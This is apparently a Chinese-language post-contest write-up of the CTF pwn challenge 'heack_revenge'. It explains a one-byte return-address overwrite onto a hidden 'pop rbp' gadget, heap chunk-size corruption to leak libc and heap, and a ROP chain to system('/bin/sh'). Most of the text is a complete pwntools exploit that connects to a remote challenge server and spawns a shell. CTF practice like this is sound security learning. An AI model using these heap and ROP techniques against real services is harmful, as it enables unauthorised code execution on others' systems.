heack_revenge

这个题比赛中没做出来,赛后复现一下

  1. 这个题第一步就卡住我了,(我还是太菜了),这个题通过修改索引可以溢出到ret地址,但是最多只能覆盖一个字节,也就是说,要在0x1800~0x1900这段代码内寻找有用的gadget,结果这个题在0x186a这个地方藏了一个pop rbp,这个是解题的关键

  1. 通过pop rbp之后,调试可以发现,rbp会指向index为0的chunk,而且可以通过修改hp,attack,可以修改chunk头中的size部分,实现堆叠,堆风水布局可以泄露libc和heap

    泄露libc后,在上图rbp指向的chunk中写入rop链,ret时便可以劫持程序执行流,get_shell !!!

    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    from pwn import *
    import tty

    context(arch="amd64", os="linux")
    context.log_level='debug'
    context.terminal = ["tmux", "splitw", "-h", "-l", "190"]

    libc_base=0x0
    heap_base=0x0
    pie=0x0

    def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

    r = lambda a : p.recv(a)
    rl = lambda a=False : p.recvline(a)
    ru = lambda a : p.recvuntil(a)
    s = lambda x : p.send(x)
    sl = lambda x : p.sendline(x)
    sa = lambda a,b : p.sendafter(a,b)
    sla = lambda a,b : p.sendlineafter(a,b)
    shell = lambda : p.interactive()
    li = lambda offset :libc_base+offset
    lis= lambda func :libc_base+libc.symbols[func]
    pi = lambda offset :pie+offset
    he = lambda offset :heap_base+offset
    l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
    l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
    uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
    ggg = lambda :(gdb.attach(p),pause())

    def fight(concent):
    ru(b'> ')
    sl(b'1')
    ru(b'You grip your sword and shout:')
    sl(concent)

    def attack():
    ru(b'> ')
    sl(b'2')

    def hp():
    ru(b'> ')
    sl(b'3')

    def show():
    ru(b'> ')
    sl(b'4')

    def note():
    sla(b'> ',b'5')

    def add(index,size,concent):
    sla(b'Choose an option: ',b'1')
    sla(b'Enter index (0-15): ',str(index).encode())
    sa(b'Enter diary content size (1-2048): ',str(size).encode())
    sla(b'Input your content: ',concent)

    def uaf(index,size):
    global p
    sla(b'Choose an option: ',b'1')
    sla(b'Enter index (0-15): ',str(index).encode())
    sla(b'Enter diary content size (1-2048): ',str(size).encode())
    ru(b'Input your content: ')
    p.send(chr(tty.CEOF))
    ru(b'Read failed!')

    def free(index):
    sla(b'Choose an option: ',b'2')
    sla(b'Enter index to destroy (0-15): ',str(index).encode())

    def view(index):
    sla(b'Choose an option: ',b'3')
    sla(b'Enter index to view (0-15): ',str(index).encode())

    def esc():
    sla(b'Choose an option: ',b'4')

    libc=ELF('./libc.so.6')
    #p = process("./vul2")
    p=remote('43.138.2.216',19999)
    note()
    add(3,0x10,b'a')
    add(4,0x10,b'a')
    add(6,0x10,b'a')
    add(7,0x10,b'a')
    add(0,0x50,b'a')
    add(5,0x400,b'a')
    add(10,0x3f0,b'a')
    add(13,0x500,b'a')
    add(11,0x10,b'a')
    free(13)
    free(10)
    free(3)
    esc()
    fight(b'A' * (259 - 0xe0) + b'\x37' + b'\x6A')
    hp()
    hp()
    hp()
    hp()
    for i in range(7):
    attack()
    note()
    view(2)
    ru(b'---\n')
    heap_base=(u64(p.recv(5).ljust(8,b'\x00')))<<12
    print(hex(heap_base))
    add(4,0x10,p64(he(0xb90))+p64(he(0x300)))
    view(6)
    ru(b'---\n')
    libc_base=uu64()-0x203b20
    print(hex(libc_base))
    free(7)
    rdi=li(0x000000000010f75b)
    system,binsh=getshell()
    payload=b'a'*0x28+p64(rdi+1)*0x81+p64(rdi)+p64(binsh)+p64(system)
    add(7,0x480,payload)
    esc()
    ru(b'> ')
    sl(b'6')
    shell()

    (我的堆风水比较麻烦,官方wp堆风水只需要泄露libc即可,不需要泄露heap,官方wp)